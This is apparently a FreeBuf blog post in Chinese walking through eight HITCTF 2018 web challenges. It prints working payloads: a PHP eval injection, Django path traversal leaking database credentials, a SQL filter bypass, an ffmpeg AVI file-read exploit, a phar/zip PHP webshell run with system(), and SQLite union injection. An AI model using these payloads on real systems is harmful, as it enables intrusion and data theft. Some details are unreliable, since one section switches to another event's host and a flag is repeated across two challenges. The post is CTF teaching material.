freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HITCTF2018-web全题解
2018-02-23 15:09:16
所属地 湖南省

前记

最近参加了一下哈工大办的HITCTF,感觉题目可以学到知识,于是分享一下我的题解~

01 PHPreading

发现文件泄露

http://198.13.58.35:8899/index.php.bak

内容

<?php 

 eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))

?>

解码得到

$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

于是请求

http://198.13.58.35:8899/index.php?asdfgjxzkallgj8852=H1TctF2018EzCTF

得到flag:

HITCTF{Php_Is_ez_to_Read}

02 BabyEval

发现源码

<!--

$str=@(string)$_GET['str'];

blackListFilter($black_list, $str);

eval('$str="'.addslashes($str).'";');

-->

那么如何执行命令呢?

实现的方法是传入参数:str={{phpinfo()}}

这里如果直接上phpinfo(),由于有addslashes的作用会出现\"的情况使得命令无法执行

${phpinfo()}告诉我们最里面这个是变量,名为phpinfo(),接下来的一层花括号将其解析为字符串"phpinfo()"

另外,{}有时候也可以当[]使用,文档中有说明:"Note: string 也可用花括号访问,比如 str42",这里str{42}==$str[42]

所以我的payload

http://120.24.215.80:10013/index.php?str=${var_dump(cat%20../../../162920976d9c04ac69e2f4392a8cffbf_flag.txt)}

即可拿到

flag:string(39) "flag{162920976d9c04ac69e2f4392a8cffbf} "

03  BabyLeakage

随便点一点,发现是Django写的


HITCTF-web全题解----最终版1683.png

于是想到python的经典问题:目录穿越

于是试了一下

http://118.89.230.52:8000/../../../../../etc/passwd

得到

Using the URLconf defined in minicms.urls, Django tried these URL patterns, in this order:

^$

^news/

^admin/

^media\/(?P<path>.*)$

The current path, etc/passwd, didn't match any of these.

发现media可以用,于是

http://118.89.230.52:8000/media/..%2f__pycache__/

可以得到关键信息泄露

MYSQL_DB

'djangodb'

MYSQL_HOST

'mysql'

MYSQL_PASSWORD

'Fl4g_1s_n0T_H3re_But_C10se'

MYSQL_PORT

'3306'

MYSQL_USER

'manage'

于是我们远程连接Mysql

mysql -h 118.89.230.52 -P 3306 -u manage -pFl4g_1s_n0T_H3re_But_C10se

成功连接上后,先看数据库

image.png

发现F1agIsHere数据库

查表

image.png

然后挨个查找

image.png

发现都是空的

于是想到字段名是flag

于是用DESC看字段名,而这里4个表名明显是flag,于是我们按顺序读

image.png

image.png

得到flag:

HITCTF{C10se_Debu91nfo_Is_Immmport4n7}

04 BabyInjection

发现直接给出了源码:

关键代码

$flag = '';

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];

$passwd = $_POST['passwd'];

if (preg_match("/".$filter."/is",$username)==1){

    die("Hacker hacker hacker~");

}

if (preg_match("/".$filter."/is",$passwd)==1){

    die("Hacker hacker hacker~");

}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";

echo $query."<br>";

$query = mysqli_query($conn, $query);

if (mysqli_num_rows($query) == 1){

    $result = mysqli_fetch_array($query);

    if ($result['passwd'] == $passwd){

        die('you did it and this is your flag: '.$flag);

    }

    else{

        die('Wrong password');

    }

}

else{

    die('Wrong username');

}

流程就是:

1.根据我们输入的username查询

2.将查到的密码和我们输入的比对

3.相同就获得flag


难点如下:

1.不知道用户名

2.存在许多过滤,比如关键的select等都被过滤了


所以可以知道这题不是一道单纯的注入题,那么有没有其他方法让我们的密码和用户名查询结果一致呢?

这里有一个方法:with rollup

我们假设用户名是admin,那么

SELECT * FROM users WHERE username='admin' group by passwd WITH ROLLUP

会产生一个password为NULL的行

而这里有一个检验:

mysqli_num_rows($query) == 1

所以我们需要Limit

SELECT * FROM users WHERE username='admin' group by passwd with rollup limit 0,1

此时查询出来的的admin用户的密码即为Null

而我们不输入密码,则passwd也为Null

此时可以匹配成功

那么第一个问题来了

我们不知道用户名怎么办?

这里我们可以用

SELECT * FROM users WHERE username=''=0 group by passwd with rollup limit 0,1

来绕过

然后第二个问题来了

limit被过滤了怎么办?

首先明确我们为什么要用Limit:因为要把密码为null的那一行拿出来

那么我们知道要拿出来的那一行的数据,还一定要用limit吗?

显然是不需要的

我们可以用having!

但是如果直接使用having passwd=null的话不会生效

因为mysql中null = null会返回 null,但是mysql还有一个比较操作符<=>,

当null <=> null的时候会返回1,于是可以构造类似下面的语句:

SELECT * FROM users WHERE username=''=0 group by passwd with rollup having passwd <=> null

所以此时我们可以构造我们的payload了:

username = '=0 group by passwd with rollup having passwd <=> null#

passwd 不填

即可获得flag:

HITCTF{9989035e268342af1f40f26aad336623}

05 小电影

拿到题目http://198.13.58.35:2333/

f12可以看到

<!-- flag is in /flag.txt -->

首先可以判断既然是flag.txt,那么肯定不会在www目录下,否则可以直接读到了

所以这个flag文件应该存在于根目录

接着看题目的要求

/upload , /download?name=xxx.avi .We will help you convert video with ffmpeg. Maybe you will find something different

Don't attack the platform ,it's simple .

Pay more attention to the video file and you will see what you want .

可以看到ffmpeg

立刻想到ffmpeg的任意文件读取漏洞


漏洞简介

利用了ffmpeg可以处理 HLS 播放列表的功能,在 AVI 文件中的 GAB2字幕块中嵌入了一个 HLS 文件,然后提供给ffmpeg进行转码,在解析的过程中把它当做一个 XBIN 的视频流来处理,再通过 XBIN 的编解码器把本地的文件包含进来,最后放在转码后的视频文件当中。

这里详细漏洞参照freebuf的文章

http://www.freebuf.com/column/142775.html

而这题的做题方法如下

1.下载脚本 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py

2.运行脚本:python3 gen_xbin_avi.py file:///flag.txt 123.avi

此时可以生成我们需要的恶意文件123.avi


注:这里题目要求必须上传文件名为123.avi的文件

上传后得到

upload success: 15174734042.avi 

but it wont last long

我们去下载

http://198.13.58.35:2333/download?name=15174734042.avi

<img src="/images/image001.jpg">

即可下载到文件,打开即可看到flag:

HITCTF{O0o0o0oOracle_Attttttack_1s_yinQu3S17ing}

image.png

06 SecurePY

此题本质上是一道侧信道攻击爆破的题目

我们根据题目所述:

[uwsgi]

chdir=/app

module=app

callable=app

可以知道这是一个python服务端程序,主程序为app.py

我们直接访问

http://123.206.83.157:8000/app.py

发现是403,而查阅资料可以知道在python的web服务中

.py文件生成的pyc文件会被存储在__pycache__文件夹中,并以.cpython-XX.pyc为扩展名

而XX和版本号有关

于是我们访问

http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-XX.pyc

这里XX可以爆破一下,从20-40

这里可以发现

http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc

可以下载到文件

我们反编译一下得到

#!/usr/bin/env python

# visit http://tool.lu/pyc/ for more information

from flask import Flask, request, jsonify, render_template

from Crypto.Cipher import AES

from binascii import b2a_hex, a2b_hex

import os

app = Flask(__name__)

flag_key = os.environ['KEY']

flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'

def index():

    return render_template('index.html', flag_enc = flag_enc)

index = app.route('/')(index)

def getflag():

    req = request.json

    if not req:

        return jsonify(result = False)

    if None not in req:

        return jsonify(result = False)

    key = None['key']

    if len(key) != len(flag_key):

        return jsonify(result = False)

    for (x, y) in zip(key, flag_key):

        if ord(x) ^ ord(y):

            return jsonify(result = False)

    cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')

    plain_text = cryptor.decrypt(a2b_hex(flag_enc))

    flag = plain_text.decode('utf-8').strip()

    return jsonify(result = True, flag = flag)

getflag = app.route('/getflag', methods = [

    'POST'])(getflag)

if __name__ == '__main__':

    app.run()

这里我们可以看到是一个AES-CBC的题目

这里受到CBC的padding oracle攻击的启发,我马上顺着题目的结构尝试了一下

{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}


此时果然服务器响应500

于是我开始从第一个字符开始爆破

此时存在2种状态

image.png

如果正确则会服务器500

image.png

而如果错误则会回显

{"result":false}

故此我们可以爆破得到key:

{"key":["5","e","c","u","r","3","p","P","Y","p","y","P","Y","k","3","y"]}

此时提交key即可得到

flag:HITCTF{O0o0o0oOracle_Attttttack_1s_yinQu3S17ing}

07  BabyWrite

拿到题目后注意url

http://120.24.215.80:10012/?page=login

发现存在文件包含,随即尝试读源码

http://120.24.215.80:10012/?page=php://filter/read=convert.base64-encode/resource=index

发现读取成功

index.php

<?php

if(isset($_GET['page'])){

    $file = $_GET['page'].'.php';

    include($file);

}else{

    header("Location: /?page=login");

    die();

}

?>

发现是一个强行拼接.php的文件包含

再读login.php

<?php

    require_once('config.php');

    if(isset($_POST['username']) && isset($_POST['password'])){

        $username = $_POST['username'];

        $password = $_POST['password'];

        if ($username === "admin" && sha1(md5($password)) === $admin_hash){

            echo '<script>alert("Login seccess!");</script>';

        }else{

            if (isset($_GET['debug'])){

                if($_GET['debug'] === 'hitctf'){

                    $logfile = "log/".$username.".log";

                    $content = $username." => ".$password;

                    file_put_contents($logfile, $content);

                }else{

                    echo '<script>alert("Login failed!");</script>';

                }

            }else{

                echo '<script>alert("Login failed!");</script>';

            }

        }

    }else{

        echo '<script>alert("Please input username and password!");</script>';

    }

?>

发现重点在于:

else{

            if (isset($_GET['debug'])){

                if($_GET['debug'] === 'hitctf'){

                    $logfile = "log/".$username.".log";

                    $content = $username." => ".$password;

                    file_put_contents($logfile, $content);

                }else{

                    echo '<script>alert("Login failed!");</script>';

                }

            }else{

                echo '<script>alert("Login failed!");</script>';

            }

        }

我们的用户名是log的文件名,而内容是用户名+" => "+密码的拼接

这里看到文件包含,我们容易想到

写一个shell文件,再包含进来,但是他强行拼接了.php,这里直接包含是行不通的……

所以想到php伪协议绕过,例如经典的phar://和Zip://

所以我们可以写一个shell文件,压缩成压缩包,再写入


但是问题又来了:

1.压缩包中间会被插入" => ",导致无法解压

2.文件名中不可带入%00


那么如何解决呢?

我的做法是随便写一个txt文件,再写一个我们的shell文件

<?php 

@eval($_POST[sky]);

 ?>

然后压缩成zip文件如图:

image.png

由于我们的文件会被拼接"=>"并且文件名不可带%00

所以我们选择输入方法:

username=%50%4B%03%04%0A

password=%00%84%56%42%4C%07%91%35%16%17%00%00%00%17%00%00%00%0B%00%00%00%74%65%73%74%73%6B%79%2E%70%68%70%3C%3F%70%68%70%20%0D%0A%70%68%70%69%6E%66%6F%28%29%3B%0D%0A%20%3F%3E%50%4B%03%04%0A%00%00%00%00%00%AE%4B%42%4C%54%3D%6E%D7%04%00%00%00%04%00%00%00%07%00%00%00%73%6B%79%2E%74%78%74%20%3D%3E%20%50%4B%01%02%3F%00%0A%00%00%00%00%00%84%56%42%4C%07%91%35%16%17%00%00%00%17%00%00%00%0B%00%24%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00%74%65%73%74%73%6B%79%2E%70%68%70%0A%00%20%00%00%00%00%00%01%00%18%00%B5%7B%94%D0%D0%9B%D3%01%7E%46%23%B8%D0%9B%D3%01%7E%46%23%B8%D0%9B%D3%01%50%4B%01%02%3F%00%0A%00%00%00%00%00%AE%4B%42%4C%54%3D%6E%D7%04%00%00%00%04%00%00%00%07%00%24%00%00%00%00%00%00%00%20%00%00%00%40%00%00%00%73%6B%79%2E%74%78%74%0A%00%20%00%00%00%00%00%01%00%18%00%1A%E1%18%44%C5%9B%D3%01%8C%12%56%3F%C5%9B%D3%01%8C%12%56%3F%C5%9B%D3%01%50%4B%05%06%00%00%00%00%02%00%02%00%B6%00%00%00%69%00%00%00%00%00

此时拼接后的文件如图

image.png

那么此时压缩包还可以解压吗?

我们试试:

image.png

发现sky.txt已经破损了,我们再试试shell文件

image.png

发现sky.php竟然可以正常解压!

这就意味着我们用伪协议可以正常使用,并且getshell!

并且这也说明了为什么不能直接只压缩单个的shell,因为这也肯定解压会破损,而加入随便一个txt等于起到了保护作用,防止后面shell文件破损,这可能和zip的文件格式有关,有兴趣的可以深入研究。

所以我们写入文件后,payload如下

get请求

http://120.24.215.80:10012/?page=phar://./log/PK%03%04%0a.log/sky


post请求

sky=system('cat ../../../../d124abbe4cb6aa1621a8ca9519c0f5bf_flag.txt');


即可拿到flag:

flag{61894b21be75260c4964065b1eecec4d}

08  BabyQuery

打开页面是一个查询界面

image.png

我们抓包研究一下:

发现查询时候发出的数据为

query=%7B+getscorebyid(id%3A+%22GE%3D%3D%3D%3D%3D%3D%22)%7B+id+name+score+%7D+%7D

我们解码一下

query={ getscorebyid(id: "GE======"){ id name score } }


并且根据url,判断出是graphql,一个查询API

我们随便改一下

query={ getscorebyid(id: "GE"){ id name score } }


发现报错

[GraphQLLocatedError('Incorrect padding',), GraphQLLocatedError('Incorrect padding',), GraphQLLocatedError('Incorrect padding',)]


填充错误,那我们不改变他的结构再试试

query={ getscorebyid(id: "11======"){ id name score } }


又报错了

[GraphQLLocatedError('Non-base32 digit found',), GraphQLLocatedError('Non-base32 digit found',), GraphQLLocatedError('Non-base32 digit found',)]


发现是个base32

那我们去解码

GE======

1

发现结果是1

于是为了做题方便,我写了一个python交互,这样不用我们频繁的转换发包,脚本如下:

import base64

import requests

url = "http://182.254.247.127:3001/graphql"

payload = base64.b32encode("123")

go = '{ getscorebyid(id: "%s"){ id name score } }'%(payload)

data = {

    "query" : go

}

r = requests.post(data=data,url=url)

print r.content

我们先尝试直接注入

1'

得到报错

[GraphQLLocatedError('Incorrect number of bindings supplied. The current statement uses 1, and there are 2 supplied.',), GraphQLLocatedError('Incorrect number of bindings supplied. The current statement uses 1, and there are 2 supplied.',)]

发现只能输入一位数,这就极大的限制了我们的构造

于是我开始从他的查询结构入手,一定要根据id查询吗?


尝试

{ getscorebyname(name: "1"){ id name score } }


再次报错了

[GraphQLError('Cannot query field "getscorebyname" on type "Query". Did you mean "getscorebyyourname" or "getscorebyid"?',)]


发现真的可以改变查询结构

{ getscorebyyourname(name: "Alice"){ name score } }


我们再次尝试,可以得到结果

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', 'Alice'), (u'score', '100')]))])


并且我们惊奇的发现,这里不会再受1位数的限制了,于是尝试注入

{ getscorebyyourname(name: "1' or 'a'='a"){ name score } }


得到回显

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' or 'a'='a"), (u'score', '100995958')]))])

发现注入成功了


于是我们构造联合查询

{ getscorebyyourname(name: "1' union select 1 --"){ name score } }


得到回显

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select 1 --"), (u'score', '1')]))])

发现score处变成了我们联合查询填充的1

这时我尝试查询数据库名的时候发现了问题

[GraphQLLocatedError('no such function: database',)]

这时我注意到,这题并不是Mysql,于是我猜测是sqlite


我们测试一下:

{ getscorebyyourname(name: "1' union select sqlite_version() --"){ name score } }


得到回显

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select sqlite_version() --"), (u'score', '3.11.0')]))])

发现成功查询出版本号:3.11.0,果然是sqlite


于是开始爆表:

1' union select (select name from sqlite_master where type='table' limit 0,1) --


可以得到回显

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select (select name from sqlite_master where type='table' limit 0,1) --"), (u'score', 'users')]))])


第一个表是users,依次查找,可以发现我们要的是第二个表:Secr3t_fl4g

猜测字段名为flag并且查询

1' union select (select flag from Secr3t_fl4g) --


得到答案

OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select (select flag from Secr3t_fl4g) --"), (u'score', 'HITCTF{fee26d3a146a404e106b1ed93156f30e}')]))])


可以看到flag:

HITCTF{fee26d3a146a404e106b1ed93156f30e}


本文作者:一叶飘零

# web安全 # CTF # XCTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者